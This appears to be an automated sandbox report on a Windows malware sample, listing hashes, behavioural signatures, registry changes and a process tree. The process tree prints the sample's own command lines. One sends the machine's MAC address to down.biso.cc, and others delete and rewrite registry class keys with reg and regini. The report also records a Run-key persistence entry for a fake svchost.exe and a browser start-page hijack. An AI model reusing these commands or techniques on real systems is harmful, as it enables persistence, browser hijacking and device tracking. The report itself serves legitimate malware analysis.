Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02/10/2024, 13:57
Static task
static1
Behavioral task
behavioral1
Sample
0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe
-
Size
192KB
-
MD5
0b0169d3702e9554d7cab8ee658bc624
-
SHA1
448f5306ae017532b860ac848f85a6be2adb6e38
-
SHA256
d52fdd39989af17e464d3e854fb19a289206790efc06a0735afdc45455b48727
-
SHA512
5e0a1a1b6895bea87ed563eb71c6157a343359ff78cf9890249cf45ae4e178006ac864f2f1198551bd357a102bf4302e98add6b40f4af16f6742732f299e2767
-
SSDEEP
3072:H/na6WDmrZ5Cn79xvlr2xmOJ5wUuWXcfb0hw7IACb873684yVcx566/znTV/IEeC:H/nuDm9knmhJ4/sMLuO6/zLeEf
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cmd.vbs 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cmd.vbs 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ÓÃÓÚϵͳµÇ¼µÄÎļþ£¬É¾³ýµôÎÞ·¨Õý³£µÇ¼ϵͳ¡£ = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language iexplore.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IEXPLORE.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "434642441" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009a7bf3bae5f3a549b81f23758225dc5c00000000020000000000106600000001000020000000309c30d64c97172ebd7d1c22b2d5668f191465cea90994552b02a740065a4c96000000000e80000000020000200000005dbc1f2dad6ef5dea077b1c823ef45ba6e505be618af6f8afd1903df5177e5f120000000ba2ab15649858461f1154d1d6b6411ce2b50f7bc930b5a350e762e9020281c52400000000a3e95931c114b0086420a2968b9e588458a1c7ae7d47d994389fa63e69869274bc4e381a2ba88904a3a9f62fefba9b430432744a6a86da50c5f0cfcb1f784d0 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "594929459" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31134931" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "610397928" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "610397928" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50b5c722d314db01 IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 40c3d322d314db01 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "594773474" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31134931" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{4D8EE1BE-80C6-11EF-A2A4-5E50324ADEFE} = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009a7bf3bae5f3a549b81f23758225dc5c00000000020000000000106600000001000020000000d60bed3691d3a6d78a07e96383dc42e4fd5b93b662980e13c5c48e79eaa4fca7000000000e80000000020000200000007d2184baa172ac9550c462e06a235df52e90d1e2adf6c03b42c6b7a7f970b5772000000030d4c9e7b2a1d40fde5c35d5fab08e4477a528dd55eb00ee0a6c5cf6f6611aaa4000000001bf64d1d1bca5053a1a6f342366dadea9552b1df933329c2880f19bbbabe2cff981683e3e6d77bea9f61c537f94229880bb0df3fe6d984b73ae0bd39a89ec43 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31134931" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31134931" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Main 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE -
Modifies Internet Explorer start page 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.7400.net" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
Modifies registry class 41 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers\IE 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\IE regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\shellex\MayChangeDefaultMenu 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} regini.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\InProcServer32\ThreadingModel = "Apartment" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\CLSID = "{3f454f0e-42ae-4d7c-8ea3-328250d6e272}" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\InProcServer32 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\InProcServer32\ = "%SystemRoot%\\SysWow64\\shdocvw.dll" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag\Param2 = "%ProgramFiles(x86)%\\Internet Explorer\\iexplore.exe" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe regini.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\shellex\MayChangeDefaultMenu\ 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag\CLSID = "{13709620-C279-11CE-A49E-444553540000}" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\IE regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\IE 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag\command = "´ò¿ªÖ÷Ò³" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers\IE regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356} 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag\method = "ShellExecute" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\shellex 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers\IE regini.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers\ieframe 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{60801237-2465-4017-6080-246581864356}\Instance\InitPropertyBag\Param1 = "http://%77%77%77%2e%37%34%30%30%2e%6e%65%74" 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
NTFS ADS 1 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Local\Temp\"%ProgramFiles(x86)%\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1860 IEXPLORE.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1860 IEXPLORE.EXE 1860 IEXPLORE.EXE 1652 IEXPLORE.EXE 1652 IEXPLORE.EXE 1652 IEXPLORE.EXE 1652 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 4028 wrote to memory of 5064 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 88 PID 4028 wrote to memory of 5064 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 88 PID 4028 wrote to memory of 5064 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 88 PID 5064 wrote to memory of 1860 5064 iexplore.exe 89 PID 5064 wrote to memory of 1860 5064 iexplore.exe 89 PID 4028 wrote to memory of 1832 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 90 PID 4028 wrote to memory of 1832 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 90 PID 4028 wrote to memory of 1832 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 90 PID 1832 wrote to memory of 4544 1832 cmd.exe 92 PID 1832 wrote to memory of 4544 1832 cmd.exe 92 PID 1832 wrote to memory of 4544 1832 cmd.exe 92 PID 4028 wrote to memory of 1632 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 93 PID 4028 wrote to memory of 1632 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 93 PID 4028 wrote to memory of 1632 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 93 PID 1860 wrote to memory of 1652 1860 IEXPLORE.EXE 95 PID 1860 wrote to memory of 1652 1860 IEXPLORE.EXE 95 PID 1860 wrote to memory of 1652 1860 IEXPLORE.EXE 95 PID 1632 wrote to memory of 2100 1632 cmd.exe 97 PID 1632 wrote to memory of 2100 1632 cmd.exe 97 PID 1632 wrote to memory of 2100 1632 cmd.exe 97 PID 4028 wrote to memory of 968 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 98 PID 4028 wrote to memory of 968 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 98 PID 4028 wrote to memory of 968 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 98 PID 968 wrote to memory of 5004 968 cmd.exe 100 PID 968 wrote to memory of 5004 968 cmd.exe 100 PID 968 wrote to memory of 5004 968 cmd.exe 100 PID 4028 wrote to memory of 3772 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 101 PID 4028 wrote to memory of 3772 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 101 PID 4028 wrote to memory of 3772 4028 0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe 101 PID 3772 wrote to memory of 2452 3772 cmd.exe 103 PID 3772 wrote to memory of 2452 3772 cmd.exe 103 PID 3772 wrote to memory of 2452 3772 cmd.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://down.biso.cc/b/tj.asp?mac=5E:50:32:4A:DE:FE&tid=0b0169d3702e9554d7cab8ee658bc624_JaffaCakes1182⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://down.biso.cc/b/tj.asp?mac=5E:50:32:4A:DE:FE&tid=0b0169d3702e9554d7cab8ee658bc624_JaffaCakes1183⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1860 CREDAT:17410 /prefetch:24⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1652
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\163411_s.ini2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\SysWOW64\regini.exeregini C:\Users\Admin\AppData\Local\Temp\163411_s.ini3⤵
- Modifies registry class
PID:4544
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f3⤵
- System Location Discovery: System Language Discovery
PID:2100
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\163411.ini2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\SysWOW64\regini.exeregini C:\Users\Admin\AppData\Local\Temp\163411.ini3⤵
- Modifies registry class
PID:5004
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f3⤵
- System Location Discovery: System Language Discovery
PID:2452
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3776,i,12470628711992022444,7767535593390851522,262144 --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:81⤵PID:1784
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize471B
MD5823fe1de5451b6ea9c69599b131233db
SHA1af8b9b46bbe4b0b996abc996cc5f000f8c498348
SHA256a13b5fcb02fe68cd72e236cec1284e80ef9aa37bcbb596f57fa0d32f9bdb5a32
SHA512043c555804f19aa482e5419fd0a27b3cf3ca5369cf4f9941608358a7cca8f524515041881b35af63b02dd915abca4a51f45c2b60f1070a293b652d6fbe3ca782
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize404B
MD57ad2fc3d6b0aefe65f6dc9651f00aa79
SHA10735904e210ac29a9e687360f8c1ffa981b73143
SHA256fb5d3eecad24a7c260622b33dc8983ce427c6782e9678cbbfbe9d8c1539a79af
SHA512cdee669bc19ac94675d2a259b0bae0fa1f835c2020b3646fa7acc5591dd32db07e0c91286112132d0b1d6f6f2b2d8274a7e4930a6c49b8726a74aa4d4e0b69be
-
Filesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
